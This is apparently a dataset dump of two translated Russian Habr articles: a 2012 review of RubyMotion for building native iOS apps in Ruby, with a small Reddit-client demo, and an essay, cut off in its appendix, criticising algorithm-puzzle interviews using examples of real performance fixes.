text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# RubyMotion: нативные iOS приложения на Ruby (перевод)
В 2007 году Лоран Сансонетти, разработчик из Apple, основал проект с открытым исходным кодом MacRuby. Его целью было создание интерпретатора Ruby поверх среды исполнения Objective-C, который бы обеспечивал прозрачное взаимодействие между Ruby и экосистемой OS X «Cocoa» — и ему это удалось. Теперь Сансонетти надеется сделать что-то подобное и под iOS.
С недавних пор Сансонетти уволился из Apple, где он работал последние семь лет, чтобы основать свой стартап под названием HipByte. Он анонсировал свой первый продукт сегодня [*3 Мая — прим. перев.*] — инструмент разработки под названием RubyMotion, который откроет возможности для написания нативных iOS приложений на языке программирования Ruby.
Я тестировал RubyMotion с Марта, когда Сансонетти дал мне доступ к ранней закрытой бете продукта. В этой статье я представлю эксклюзивный обзор RubyMotion из первых рук и опишу, как он может быть использован для написания ПО для iOS. Статья включает весь исходный код простой iOS демки, которую я создал, отображающей список топовых постов на reddit.
##### RubyMotion
RubyMotion создан поверх той самой реализации Objective-C Ruby, которая стоит за MacRuby, но использует новый LLVM компилятор для конвертации Ruby кода в оптимизированный машинный код. Компилятор RubyMotion дает на выходе эффективные нативные приложения, которые не имеют ограничений по быстродействию, присущих обычному Ruby коду.
Мобильные приложения, созданные при помощи RubyMotion, работают так же быстро, как и эквиваленты на Objective-C и используют соизмеримое количество аппаратных ресурсов. Более того, приложения RubyMotion полностью удовлетворяют требованиям App Store от Apple. Со слов Сансонетти, несколько RubyMotion приложений уже были приняты в App Store, пройдя все этапы валидации.
В RubyMotion доступны все стандартные API iOS, что означает — все возможности разработчиков Objective-C доступны и разработчикам Ruby. Помимо этого, приложения RubyMotion могут соответствовать внешнему виду остальной платформы, т.к. используют стандартный набор виджетов из UIKit.
##### Разработка ПО при помощи RubyMotion
Вместо того, что-бы попытаться встроить RubyMotion в IDE от Apple, Сансонетти решил пойти более традиционным для Ruby путем — использовать инструменты командной строки. Консольная команда **motion** генерирует новый проект по шаблону, который содержит болванку приложения с папками для кода, графики и других ресурсов. Любой файл .rb, который находится в директории app будет автоматически скомпилирован в конечную сборку. В RubyMotion вообще нет нужды использовать ключевое слово require.
Процесс сборки в RubyMotion опирается на инструмент Rake, знакомый большинству Ruby программистов. Опции сборки Rake используются для указания зависимостей и прочих настроек приложения. При запуске rake из командной строки, приложение будет скомпилировано и запущено на симуляторе iOS.
Помимо запуска приложения в симуляторе, в терминале становится доступен REPL, позволяющий интерактивно взаимодействовать с запущенным приложением, используя выражения на Ruby. Возможность «на лету» вносить изменения в свойства виджетов и внутренние структуры данных приложения чрезвычайно полезна при тестировании и выявлении ошибок.
Также вы можете использовать цели в Rake для запуска приложения на устройстве или создания пакета .ipa с последующей дистрибуцией в App Store. Из-за ограничений по цифровой подписи кода вам нужно иметь подписку на Apple Developer Program, чтобы тестировать свое приложения на устройствах.
Компиляция и запуск на симуляторе моей RubyMotion reddit-демки заняло около пяти секунд на MacBook Air 2011. Время компиляции не слишком большое, но выглядит это необычно для Ruby разработчиков, которые привыкли видеть результат сразу после внесения изменений. В прибавку к компилятору RubyMotion поставляется со своей собственной командой `ruby`, позволяющей запускать скрипты Ruby в окружении RubyMotion.
Процесс разработки на RubyMotion вполне комфортный. Я пишу код в Vim и держу открытым терминал, запуская Rake для проверки работы программы. Один ключевой недостаток по сравнению с Xcode — невозможность использования инструментов визуального проектирования интерфейсов. Это может доставить проблемы начинающим разработчикам, потому что им придется углубляться в API UIKit.
##### Поговорим с Сансонетти
Я спросил его про несовместимость с визуальными инструментами Xcode, он ответил что интеграция с Xcode будет осуществлена, но не в ближайшем будущем.
Вместо этого он создает набор Ruby библиотек для программного создания интерфейсов iOS. Эти библиотеки будут высокоуровневыми обертками над API UIKit, которые значительно легче использовать. Этот подход такой же как и у библиотеки HotCocoa для MacRuby, но с более высоким уровнем абстракции.
«Мы фокусируемся над созданием набора высокоуровневых Ruby гемов для RubyMotion. Один из них — легковесная обертка над UIKit», сказал мне Сансонетти. «Мы решили реализовать систему разметки интерфейса с использованием предметно-ориентированного языка, немного похожего на CSS, так что Ruby разработчики будут чувствовать себя как дома. Наша идея схожа с автоматической разметкой Cocoa [*Cocoa auto layout — прим. перев.*], которая построена на ASCII-подобном языке, но мы можем сделать это на Ruby еще лучше. Мы считаем что это более верный путь создания UI, нежели Interface Builder, т.к. вы можете все это визуально представить в коде.»
Вместо того, чтобы встраивать эти библиотеки в RubyMotion, Сансонетти собирается выложить их на GitHub под пермиссивной лицензией. Он считает, что приверженцы RubyMotion будут создавать свои варианты библиотек разметки с разными стилями. А у разработчиков приложений будет большой выбор — использовать родные обертки или сторонние.
Я спросил Сансонетти о его взаимодействии с проектом MacRuby, который он основал как open source проект от Apple, и как теперь проект будет развиваться после того как он сфокусировался над разработкой RubyMotion. Он объяснил, что стремление дальше работать над MacRuby было основной причиной его ухода из Apple и создания своей компании.
«Как главный разработчик команды Core OS в Apple, я создал и развивал MacRuby, но MacRuby был только одной частью всех моих обязанностей», сказал он. «После того как MacRuby стал достаточно стабильным, я осознал, что мне придется оставить его разработку. Я не хотел бросать проект и его изумительное сообщество, поэтому я, подумав над этим некоторое время, понял, что создание стартапа RubyMotion будет лучшим, что я мог сделать — я буду продолжать работать над MacRuby и зарабатывать на жизнь одновременно.»
Хотя он и был вынужден временно перестать принимать участие в разработке MacRuby в течение шестимесячного переходного периода после ухода из Apple, теперь он вернулся обратно и не собирается останавливать работу. На данный момент он единственный сотрудник его новой компании, но в планах собрать команду, наняв «несколько участников из сообщества MacRuby ближе к концу года».
Создание RubyMotion в одиночку было сложной технической задачей. Мы попросили его описать некоторые моменты, которые ему приходилось преодолевать во время разработки.
«Самое сложное было — это реализация совершенно нового статического компилятора и модели памяти для RubyMotion», сказал он. «Также сложна была реализация ARM ABI и низкоуровневых протоколов. Это отняло значительное время для доводки скорости выполнения на устройствах».
Также Сансонетти поделился видением того, как выразительность и гибкость Ruby может улучшить скорость разработки.
«Одна из наиболее важных фитч — интерактивная среда, что рубисты принимают как должное, которая отсутствует на многих других платформах. Иметь возможность наблюдать за изменениями в реальном времени очень полезно при отладке и тестировании приложения», сказал он. «Ruby краткий и выразительный язык. Приложение iOS, написанное на Ruby будет содержать значительно меньше строк кода, чем аналогичное приложение на Objective-C. Меньше кода означает более короткий цикл разработки, меньше багов, легче в сопровождении, а значит больше времени на игру в Skyrim».
##### Наводим мосты
Перед тем как мы создадим рабочее приложение, давайте немного взглянем на то, как RubyMotion наводит мосты между Ruby и средой исполнения Objective-C.
Objective-C это расширение C, которое добавляет такие возможности, как опциональное динамическое типизирование и объектно-ориентированное программирование. NeXT лицензировали этот язык программирования у Stepstone, который был у истоков языка, и использовали его для создания фреймворков под NeXTstep OS, которая позже стала Mac OS X. С тех пор Apple продолжает дорабатывать и улучшать Objective-C.
Objective-C имеет несколько общих свойств с Ruby, которые облегчают взаимодейтсвие между языками. Ruby и Objective-C имеют похожий механизм вызова методов, взятый из Smalltalk — отправка сообщений. Их объектные модели похожи в том, что соблюдают одиночное наследование и имеют большие возможности интроспекции. С недавних пор Objective-C получил новый синтаксический механизм для создания легких анонимных функций схожих с блоками Ruby.
Несмотря на то, что эти особенности позволяют чувствовать себя привычно при разработке RubyMotion, есть и ложка дегтя. Самым большим препятствием является представление сигнатур методов в Objective-C и их вызовов, которое радикально отличается от того, что разработчики видят в других распространенных языках программирвоания.
Методы в Objective-C устроены так, что параметры являются частью их имени. С первого взгляда это может показаться просто соглашением именования, но на практике все иначе (описание синтаксиса методов Objective-C выходит за рамки этой статьи, однако есть несколько [ресурсов](http://cocoawithlove.com/2009/06/method-names-in-objective-c.html) с подробным описанием).
Главный вывод для пользователей RubyMotion в том, что API Objective-C представлены в немного непривычном формате при их использовании на Ruby. Для иллюстрации проблемы, я собираюсь показать вам пример из UIKit, который будет использоваться в демонстрационном reddit приложении далее в статье. В этом приложении мне нужно было снять выделение со строки в таблице. В Objective-C это выглядит так:
```
[tableView deselectRowAtIndexPath:indexPath animated:YES]
```
Фактическое название метода такое `deselectRowAtIndexPath:animated`. Значения параметров, которые имеют тип NSIndexPath\* и BOOL встроены в имя функции на месте их следования при вызове. Ruby не имеет такого синтаксиса. Вы по прежнему следуете соглашению об именованных параметрах, но в более традиционном стиле со скобками:
```
tableView.deselectRowAtIndexPath(indexPath, animated:true)
```
MacRuby и RubyMotion имеют гибридную систему, которая позволяет им быть на одном уровне с Objective-C. В этой гибридной системе все стандартные типы Ruby реализованы поверх стандартных типов Objective-C. К примеру, все Ruby объекты наследуют у NSObject, а любая строка в Ruby — это NSMutableString. Вы можете получить представление о том, что это значит, вызвав команду `String.ancestors` в консоли приложения MacRuby:
```
=> [String, NSMutableString, NSString, Comparable, NSObject, Kernel]
```
Такой вид эквивалентности типов очень эффективен в рамках среды исполнения. Нет нужды производить тяжелые вычисления по конвертированию комплексных типов данных между Ruby и API Objective-C.
Другим преимуществом является то, что все часто используемые и полезные методы, которые идут с этими базовыми классами, стали повсеместно доступными. Это дает большое преимущество при работе с контейнерами, например, при использовании chained методов NSMutableArray `map`, `group_by` и `sort_by` с блоками.
##### Демонстрационное приложение
За последний месяц я создал несколько приложений на RubyMotion, а также использовал его, чтобы портировать простые MacRuby приложения на iOS. В этой статье я хочу показать вам простое демо приложение, которое я написал, пока разбирался с некоторыми API UIKit.
Это приложение — простой клиент для сайта Reddit. Оно скачивает список текущих топовых постов через Reddit JSON API, затем парсит данные и отображает их в табличном виде на экране. Когда пользователь тапает по элементу в списке, соответствующая ссылка открывается в мобильном Safari.
```
class RedditPost
attr_accessor :title, :url, :author
attr_accessor :comments, :score
attr_accessor :subreddit
def initialize(data)
@url = data["url"]
@title = data["title"]
@author = data["author"]
@comments = data["num_comments"]
@link = data["permalink"]
@score = data["score"]
@subreddit = data["subreddit"]
end
end
class RedditController < UITableViewController
def viewDidLoad
@posts = []
view.dataSource = view.delegate = self
refresh "top.json"
end
def tableView(tv, numberOfRowsInSection:section)
@posts.size
end
def tableView(tv, cellForRowAtIndexPath:indexPath)
cid = "PostCell"
cell = tv.dequeueReusableCellWithIdentifier(cid) ||
UITableViewCell.alloc.initWithStyle(
UITableViewCellStyleSubtitle,
reuseIdentifier:cid)
p = @posts[indexPath.row]
cell.textLabel.text = p.title
cell.detailTextLabel.text = "Posted by #{p.author} in #{p.subreddit}"
cell.accessoryType = UITableViewCellAccessoryDisclosureIndicator
cell
end
def tableView(tv, didSelectRowAtIndexPath:indexPath)
url = NSURL.URLWithString @posts[indexPath.row].url
UIApplication.sharedApplication.openURL url
tv.deselectRowAtIndexPath(indexPath, animated:true)
end
def get(address)
err = Pointer.new_with_type "@"
url = NSURL.URLWithString address
raise "Loading Error: #{err[0].description}" unless
data = NSData.alloc.initWithContentsOfURL(
url, options:0, error:err)
raise "Parsing Error: #{err[0].description}" unless
json = NSJSONSerialization.JSONObjectWithData(
data, options:0, error:err)
json
end
def refresh(endpoint)
Dispatch::Queue.concurrent.async do
begin
response = get "http://reddit.com/#{endpoint}"
data = response["data"]["children"].map {|i| RedditPost.new i["data"] }
Dispatch::Queue.main.sync { @posts = data; view.reloadData }
rescue Exception => msg
puts "Loading Failed: #{msg}"
end
end
end
end
class AppDelegate
def application(app, didFinishLaunchingWithOptions:launchOptions)
@win = UIWindow.alloc.initWithFrame(
UIScreen.mainScreen.applicationFrame)
@win.rootViewController = RedditController.alloc.initWithStyle(
UITableViewStylePlain)
@win.rootViewController.wantsFullScreenLayout = true
@win.makeKeyAndVisible
return true
end
end
```
Все приложение разработано как один .rb файл с менее чем 100 строками кода. Метод `application` в классе `AppDelegate` вызывается при запуске приложения. Мы используем этот метод, чтобы создать и вывести на экран экземпляр вида, которой хотим показать пользователю при старте.
Почти вся логика приложения реализована в классе `RedditController`, являющимся подклассом `UITableViewController`. Метод `viewDidLoad`, который вызывается при загрузке класса в пользовательский интерфейс, устанавливает переменные экземпляра, содержащие посты, а потом вызывает метод `refresh`, который загружает данные.
Метод `refresh` вызывает `get`, который использует класс `NSData` для скачивания данных в формате JSON и использует `NSJSONSerialization`, чтобы преобразовать их в легко используемую структуру данных. Вы могли заметить, что метод `refresh` использует Grand Central Dispatch (GCD), чтобы загрузить и преобразовать данные в фоновом потоке.
Несколько методов `tableView` в классе `RedditController` обрабатывают различные аспекты поведения вида. Метод `tableView:cellForRowAtIndexPath` используется для создания объектов строк и заполнения их данными. Метод `tableView:didSelectRowAtIndexPath` вызывается, когда пользователь тапает по элементу в таблице. Код в этом методе определяет какой объект был выбран и открывает URL этого объекта в браузере, а потом убирает выделение с объекта.
##### Заключение
RubyMotion предлагает разработчикам приложений iOS силу и выразительность Ruby без компромисов. Трудно представить более привлекательный способ разработки нативных приложений под iOS. Реализация RubyMotion действительно впечатляет, и ощущается зрелость технологий, лежащих в основе.
После некоторого времени, проведенного за разработкой приложений с помощью RubyMotion, единственным недостатком мне показалась нехватка интеграции с Xcode для создания пользовательского интерфейса. Для разработчиков без опыта работы с UIKit, написание кода вручную может оказаться долгим и сложным.
Хотя этот недочет не отрицает продуктивность работы с Ruby, новым разработчикам придется пройти начальный этап обучения, прежде чем они смогут в полном объеме получить пользу от RubyMotion. К счастью, библиотеки высокого уровня, которые уже скоро выйдут, должны исправить эту ситуацию.
Лицензия RubyMotion, включающая в себя годовую поддержку обновлений, стоит $199.99. Сейчас ее можно приобрести со скидкой за $149.99. Более подробную информацию можно найти на официальном [сайте](http://www.rubymotion.com) продукта. Там же вы можете посмотреть вступительный скринкаст от Pragmatic studio.
*Данная статья является переводом. Оригинал доступен по [ссылке](http://arstechnica.com/business/news/2012/05/exclusive-building-ruby-ios-applications-with-rubymotion.ars).* | https://habr.com/ru/post/143332/ | null | ru | null |
# Собеседования по алгоритмам: теория vs. практика
***tl;dr** За последние десятилетия мода на собеседования программистов менялась несколько раз, и каждая из них выглядит нелепо в ретроспективе. Либо мы наконец-то нашли настоящий секрет эффективных собеседований, либо увлеклись очередным модным течением, которое через десять-двадцать лет покажется столь же нелепым.*
Когда я спрашиваю людей в модных больших технологических компаниях, почему на собеседовании так обязательно спрашивать об алгоритмах, самый распространённый ответ — что-то вроде: «У нас такой масштаб, мы не можем позволить, чтобы кто-то случайно написал функцию `O(n^2)` и повалил всю систему»[1](https://habr.com/ru/post/485596/#1). Что особенно забавно, в последнее время я немало применял на практике эти алгоритмы и решал реальные проблемы, но не могу пройти собеседования, где о них спрашивают! Думаете, я проваливаю половину собеседований или что-то в этом роде? Нет, больше половины. Я участвовал примерно в 40 «настоящих» собеседованиях и прошёл, может, одно или два. Или ни одного[2](https://habr.com/ru/post/485596/#2).
Когда я написал черновик этой статьи, друзья посчитали его занудным, потому что я провалил слишком много собеседований. Они говорят, нужно свести все неудачи в таблицу, потому что никто не станет читать десять страниц текста с длинным перечнем неудач. Хороший совет. Уже работаю над таблицей.
Рассмотрим несколько примеров.
В одной крупной компании, где я работал, команда написала базовую библиотеку с собственной реализацией динамического массива. Если во время работы размера не хватало, реализация добавляла к массиву фиксированное число строк, а затем копировала старый массив в новый массив чуть большего размера. Это классический пример неправильной реализации [динамического массива](https://en.wikipedia.org/wiki/Dynamic_array), поскольку она приводит к линейному росту времени вместо [амортизированного](https://en.wikipedia.org/wiki/Amortized_analysis) постоянного времени. Это настолько классический пример, что его часто используют в качестве канонического при объяснении амортизационного анализа.
У больших IT-компаний типичные собеседования по телефону делятся на три категории:
1. Один «простой» вопрос о программировании/алгоритмах, возможно, сначала с «очень простым» вопросом для разминки.
2. Серия «очень простых» вопросов о программировании/алгоритмах.
3. Куча общеизвестных фактов (редко для хороших должностей, но нередко для низкоуровневых или нетворческих позиций).
Эта проблема реализации массива считается настолько простой, что попадает в категорию «очень легко» и является либо разминкой для «реального» вопроса или идёт в комплекте с кучей таких же простых вопросов. И всё же в нашей компании такой динамический массив отвечал примерно за 1% всей нагрузки на сборщик мусора в коде JVM (это был второй по величине источник выделений памяти во всём коде), а также за значительную долю нагрузки на CPU.
К счастью, эта реализация не использовалась в качестве универсального динамического массива, а создавалась только с помощью полуспециализированной оболочки, поэтому отвечала «всего» за 1% давления на GC. Если бы вопрос задали на собеседовании, большинство членов той команды правильно ответили бы на него. Мой патч принёс работодателю за год больше денег, чем я заработал в своей жизни.
Это был второй по величине источник выделений памяти, главный же — преобразование пары значений `long` в массивы байт из той же базовой библиотеки. Видимо, кто-то написал или скопипастил хэш-функцию, которая брала массив в качестве входных данных, а затем изменил код, чтобы брать два массива и работать с ними в последовательности из старого интерфейса хэш-функции типа `byte[], byte[]`. Чтобы вызвать эту функцию на двух лонгах, они использовали удобную функцию преобразования `long` в `byte[]` в широко используемой служебной библиотеке. Кроме выделения `byte[]` и вставке туда `long`, эта функция также изменяет порядок следования байтов `long` (видимо, функция была предназначена для преобразования значений `long` в сетевой порядок байтов).
К сожалению, переключение на более подходящую хэш-функцию считалось слишком серьёзным изменением, поэтому мой патч состоял в изменении интерфейса хэш-функции, чтобы брать пару лонгов вместо пары байтовых массивов и убрать отдельный шаг для изменения порядка следования байт (поскольку хэш-функция уже изменяла его, отдельный шаг не требовался). Устранение этих ненужных операций принесло работодателю за год больше денег, чем я заработал в своей жизни.
Оптимизация технически не является вопросом по алгоритмам, но на практике его задают постоянно. В ответ на вопрос об алгоритмах меня обычно спрашивают: «Вы можете его ускорить?» Ответ на такой вопрос часто включает в себя простую оптимизацию, которая ускоряет код в несколько раз.
Конкретный пример, который мне дважды задавали на собеседовании: вы храните идентификаторы как int'ы, но из контекста следует, что идентификаторы плотно упакованы, поэтому их можно хранить как битовое поле. Но существующее в реальном мире решение настолько далеко от ожидаемого ответа о битовом поле, что вряд ли получится добиться ускорения в несколько раз. Скорее всего, на этом собеседование закончится.
Ещё один пример простого вопроса по алгоритмам — реальная конфигурация для [BitFunnel](https://danluu.com/bitfunnel-sigir.pdf), поискового индекса, который используется в Bing[3](https://habr.com/ru/post/485596/#3).
Описание полного контекста этой конкретной компании займёт слишком много времени, но вкратце, нужно настроить набор фильтров Блума. Один из способов — написать функцию оптимизации по модели чёрного ящика, которая с помощью градиентного спуска пытается нащупать оптимальное решение. Они так и сделали, однако у функции проявились какие-то странные свойства, а выходная конфигурация никогда не работала идеально. Это исправили разреживанием фильтров Блума, то есть выделив на проблему ещё больше ресурсов (и, следовательно, денег).
Анализируя возможности для оптимизации, вы можете заметить, что фундаментальная операция в BitFunnel эквивалентна умножению вероятностей. Поэтому для любой конкретной конфигурации вы можете просто умножить некоторые вероятности — и определить, как будет работать конфигурация. Поскольку пространство конфигураций не так уж велико, можно циклами перебрать все возможные варианты, а затем выбрать наилучший. В реальности не совсем так, потому что умножение вероятностей предполагает некоторую независимость, которая не имеет места в реальности, но метод всё равно нормально работает по той же причине, по которой довольно хорошо работала [наивная байесовская фильтрация спама](https://en.wikipedia.org/wiki/Naive_Bayes_spam_filtering), которая неправильно предполагает независимую вероятность появления в письме любых двух произвольных слов. Для полного решения можете проанализировать взаимозависимости. Хотя это, вероятно, выходит за рамки собеседования.
Это лишь три примера, которые пришли на ум, а я постоянно сталкиваюсь с подобными вещами и могу придумать десятки примеров, возможно, больше сотни, если сяду и попытаюсь перечислить всё то, над чем работал. И больше сотни примеров, над которыми работал кто-то другой (или никто). Оба приведённых примера, а также те, о которых я умолчал, обладают такими свойствами:
1. Пример можно сформулировать как вопрос для собеседования.
2. Если вопрос сформулирован, вы ожидаете, что большинство (или все) сотрудники соответствующей команды знают правильный ответ.
3. Экономия средств от этого исправления принесёт работодателю за год больше денег, чем я заработал в своей жизни.
4. Проблема из примера сохранялась достаточно долго, иначе её бы не заметили.
В начале статьи мы отметили, что крупные IT-компании задают вопросы по алгоритмам, поскольку им дорого обойдётся неэффективность в большом масштабе. Мой опыт показывает, что в каждой компании, которая проводит собеседование, миллион примеров такой неэффективности. Получается, что вопросы по алгоритмам на собеседовании не помогают решать реальные алгоритмические задачи на работе.
Одна из причин в том, что крупные компании стараются найти людей, способных решать головоломки алгоритмов, но запрещают такие рассуждения в продакшне.
Из трёх решений для приведённых выше примеров два ушли в прод. Для меня это нормальный процент, если меня просто пригласили в случайный проект, за которым я не слежу постоянно. Циники могут сказать, что процент даже высок. В случайной команде результаты могли быть и хуже, потому что им невыгодно внедрение никакого решения, даже эффективного. Ведь оно требует от них тестирования, интеграции и развёртывания изменений. Создаются новые риски. То есть я прошу команду сделать какую-то работу и взять на себя некие риски, чтобы сделать что-то полезное для компании, но бесполезное для них самих. Несмотря на всё это, люди обычно принимают код, хотя не очень склонны тратить время на оптимизацию (их рабочее время будет потрачено на вещи, которые согласуются с целями команды)[4](https://habr.com/ru/post/485596/#4).
Предположим, что компания откажется предлагать кандидатам головоломки на собеседованиях, а будет поощрять разработчиков использовать более простые и относительно эффективные алгоритмы. Вряд ли какой-то из приведённых примеров мог остаться незамеченным в течение многих лет. Проблему наверняка бы исправили. Какой-нибудь гипотетический разработчик в компании с профилированием кода увидел бы самые «горячие» элементы в профиле для самой ресурсоёмкой библиотеки.
В двух случаях практическое решение — не какое-то волшебство алгоритмов, а просто комплексный анализ. Третий пример менее очевиден, поскольку нет стандартного инструмента для анализа проблемы. Можно попытаться представить результат как своего рода высшее мастерство, всё-таки этот пример основан на научной статье, которая получила награду за лучшую статью на самой престижной конференции в своей области, но в реальности тут математика средней школы, то есть для реального решения проблемы нужно просто изучить, где применимы эти математические методы.
Я действительно однажды работал в компании, которая не задавала на собеседованиях вопросов по алгоритмам, а концентрировалась на практических вопросах. За время моего пребывания там я нашёл только одну возможность для оптимизации, которая почти соответствует критериям выше (из-за небольшого размера она слегка не проходит по третьему пункту, то есть к тому времени я за свою жизнь заработал больше, чем принесла годовая экономия от исправления этого бага).
Почему в этой компании почти не было проблем с затыками в производительности? Думаю, основная причина в том, что достаточно много людей считали улучшение компании своей работой. Поэтому системы изначально были спроектированы почти оптимально. В редких исключениях находилось достаточно специалистов, которые старались и дальше принести пользу компании, а не лично себе и своей команде (что совершенно отличается от глобальной выгоды для компании). Таким образом, всегда находился тот, кто решил проблему до того, как она попадалась мне.
В крупных IT-компаниях собеседование по алгоритмам с проверкой навыков кодинга обычно проще, чем первоначальный отсев по телефону. Обычно здесь не затрагивают вопросы системного дизайна.
Некоторое время назад мы пробовали задавать вопрос по алгоритмам на очном собеседовании. Довольно жёсткий вопрос, но в рамках того, что вы могли бы встретить при телефонном скрининге в большие корпорации (но всё же проще, чем вы ожидаете от личных собеседований). Мы отказались от такой практики, потому что абсолютно все кандидаты проваливали эту часть (опытным кандидатам мы не задавали вопрос по алгоритмам). Наша фирма не такая известная, чтобы получить кандидатов-новичков, способных легко ответить на эти вопросы, поэтому [эти модные фильтры отсева кандидатов](https://danluu.com/programmer-moneyball/) у нас не работают. В современных статьях по найму персонала то, что мы сделали, часто называют «понижением планки», но мне непонятно, почему нас должна волновать максимальная высота прыжка кандидата, если его работа почти (или вообще никогда) не предусматривает прыжки в высоту. А в тех случаях, когда нужно действительно прыгнуть, планка установлена на высоте примерно пять сантиметров.
Если судить по фактической производительности, это была самая продуктивная компания, в которой я работал. Считаю, что причины в культуре, и они слишком сложны, чтобы полностью разобрать в одной статье, но наверняка нам помогло то, что мы не отфильтровывали хороших кандидатов с помощью викторин по алгоритмам. Мы предположили, что люди могут изучить этот материал на работе, если у нас будет создана правильная культура, а сотрудники будут делать правильные вещи вместо того, чтобы фокусироваться на локальных задачах для себя или своего отдела.
Если другие компании хотят, чтобы люди решали на работе проблемы алгоритмов такого уровня, какие задают на собеседованиях, то нужно в принципе стимулировать людей решать проблемы алгоритмов (когда это уместно). Это может быть сделано в дополнение или даже вместо отбора кандидатов по теоретическим задачам.
Приложение: как мы до такого дошли?
===================================
В старые добрые времена на собеседованиях задавали «пустяковые» вопросы. Современные версии могли бы выглядеть следующим образом:
* Что такое MSI? MESI? MOESI? MESIF? В чем преимущество MESIF над MOESI?
* Что делает деструктор? А если это C++11? А если из деструктора верхнего уровня вызвать деструктор подобъекта, то деструкторы каких ещё подобъектов будут выполняться? А во время раскрутки стека? При каких обстоятельствах можно избежать вызова `std::terminate`?
Я слышал об этих простых собеседованиях ещё в школе и даже видел в некоторых компаниях «старой школы». Это было во времена лидерства Microsoft, когда все остальные равнялись на успешную компанию и копировали Microsoft. Самый читаемый блоггер в области программирования (Джоэл Сполски) говорил, что всем нужно принять некую практику разработки X, потому что так делает Microsoft. Например, в одной из самых влиятельных статей по программированию той эпохи Джоэл Сполски представил так называемый «тест Джоэла», который определяет, насколько вы идёте в ногу с такими компаниями, как Microsoft:
> 12 баллов — это отлично, 11 — терпимо, но с оценкой 10 или ниже у вас серьёзные проблемы. Правда в том, что большинство софтверных работают на уровне 2-3 балла, и им нужна *серьёзная* помощь, потому что компании вроде Microsoft работают на уровне 12 полный рабочий день.
Согласно распространённым легендам того времени, Microsoft на собеседованиях задавала примерно такие вопросы (и мне действительно на собеседовании в Microsoft в районе 2001 года задали одну из таких задачек, при полном отсутствии вопросов по алгоритмам или программированию):
* Как выбраться из блендера, если ваш рост 1 см?
* Почему крышки люков круглые?
* В комнате без окон три лампы, каждая из которых управляется выключателем снаружи. Вы находитесь за пределами комнаты и можете зайти внутрь только один раз. Как определить, какой переключатель управляет какой лампочкой?
Поскольку я проходил собеседование в эпоху перемен, мне задавали множество простых вопросов и кучу задачек (включая все вышеперечисленные). На собеседованиях того времени ещё были популярны [вопросы Ферми](https://en.wikipedia.org/wiki/Fermi_problem#Examples), которые технически не являются головоломками. Другая тенденция того времени — поведенческие интервью без единого технического вопроса.
Как бы то ни было, тогда люди пытались копировать интервью в стиле Microsoft. Когда я спрашивал, чем хороши головоломки или вопросы Ферми, мне отвечали, что таким образом можно проверить, способен ли кандидат к размышлениям, в отличие от вопросов на знание, которые говорят только о том, что человек запомнил какую-то информацию. А нам нужны кандидаты, которые действительно могут думать!
Оглядываясь назад, теперь всем понятно, что это было неэффективно, а копирование каждого приёма Microsoft не сделает вашу компанию такой же успешной, потому что Microsoft использовала много других приёмов — они эффективны только все вместе за счёт сетевого эффекта. Копируя собеседования Microsoft, вы будете компанией, которая просто проводит собеседования в том же стиле, но не сможете воспользоваться сетевыми эффектами, которые использовала Microsoft.
Для кандидатов процедура собеседования была в основном такой же, как сейчас с алгоритмами. Просто для подготовки к собеседованию вместо «Взлома собеседования по программированию» нужно было читать «Как переместить гору Фудзи». То есть требовалось усвоить кучу знаний о заданиях, которые вы никогда не будете использовать на работе, вместо знания алгоритмов, которые вы точно так же никогда не будете использовать.
В те времена интервьюеры находили вопросы для собеседований в книгах для подготовки к собеседованиям, таких как «Как переместить гору Фудзи». Эти вопросы задавали кандидатам, которые узнавали ответы в тех же книгах. Современная молодёжь находит это смешным — очевидно, что вопросы не имеют никакого отношения к работе, а вероятность хорошего ответа больше зависит от подготовки к собеседованию, чем от компетентности кандидата. Но сегодняшний подход не так уж отличается.
За последние десятилетия мода на собеседования программистов менялась несколько раз, и каждая из них выглядит нелепо в ретроспективе. Либо мы наконец-то нашли настоящий секрет эффективных собеседований, либо увлеклись очередным модным течением, которое через десять-двадцать лет покажется столь же нелепым.
Без учета эффективности, на метауровне методы собеседования не изменились (за исключением высокоуровневой техники самой престижной компании), поэтому всё очень похоже на очередное модное увлечение, которое не отличается от предыдущих нелепых практик. Моё мнение могут поколебать эмпирические исследования или независимая проверка эффективности разных методов.
Вдохновлённый [комментарием Уэсли Аптекар-Касселса](https://twitter.com/danluu/status/925728187375595521), в последнее время я специально спрашивал у представителей работодателей, как они проверяют эффективность своих собеседований и как борются с предвзятостью. Вот что они отвечали (в порядке убывания частоты):
* Что? Ничего такого, зачем это?
* Мы действительно не знаем, эффективен ли наш процесс.
* Мы просто знаем, что всё работает.
* У нас нет предвзятости.
* Мы бы заметили предвзятость, если бы существовал процесс оценки.
* Кто-то изучал и/или проводил исследование, но не может сказать ничего конкретного о том, как это изучалось и по какой методологии проводилось исследование.
Приложение: обучение
====================
Как и в большинстве реальных проблем, невозможно найти единственную причину, по которой в продакшне остаются незакрытыми баги на десятки и сотни миллионов долларов. С одной стороны, мы натыкаемся на своего рода [глубокоэшелонированную оборону](https://en.wikipedia.org/wiki/Hedgehog_defence) с рассогласованными стимулами. С другой стороны, [обучение прискорбно недооценивается](https://danluu.com/programmer-moneyball/#training-mentorship).
Я уже упоминал, что почти во всех компаниях система не стимулирует людей тратить время на повышение эффективности, даже если простой расчёт показывает, что исправление багов легко сэкономит десятки или сотни миллионов долларов. И в отсутствие стимулов у разработчиков неоткуда появиться опыту выполнения такой работы. Незнакомая работа всегда кажется сложнее, чем есть на самом деле. Таким образом, даже если день работы может принести $1 млн в год в виде экономии или прибыли (такое довольно часто встречается в крупных компаниях, по моему опыту), люди не понимают, что это всего лишь один день работы и её можно сделать практически не отвлекаясь от остальных дел. Один из способов решить эту последнюю проблему — обучение. Впрочем, для менеджера его ещё труднее обосновать, чем повышение эффективности, которое не входит в основные задачи!
Например, однажды я написал небольшое руководство (4500 слов, меньше этой статьи, если не считать изображения) по поиску различных неэффективностей в системе: как использовать профайлер для выделений памяти и времени CPU, как настроить наши GC для специализированных задач, как использовать некоторые мои инструменты для автоматического поиска узких мест в конфигурациях JVM, контейнеров и т. д. В основном, это простые и очень эффективные приёмы, которые легко выполнить. Пара человек смогли отладить и исправить проблему самостоятельно, и из вторых рук я слышал, что ещё кто-то повысил эффективность своего сервиса. Хорошо, если 10% инженеров извлекли пользу из этого мануала, надеюсь, он помог десяткам инженеров, а может и больше.
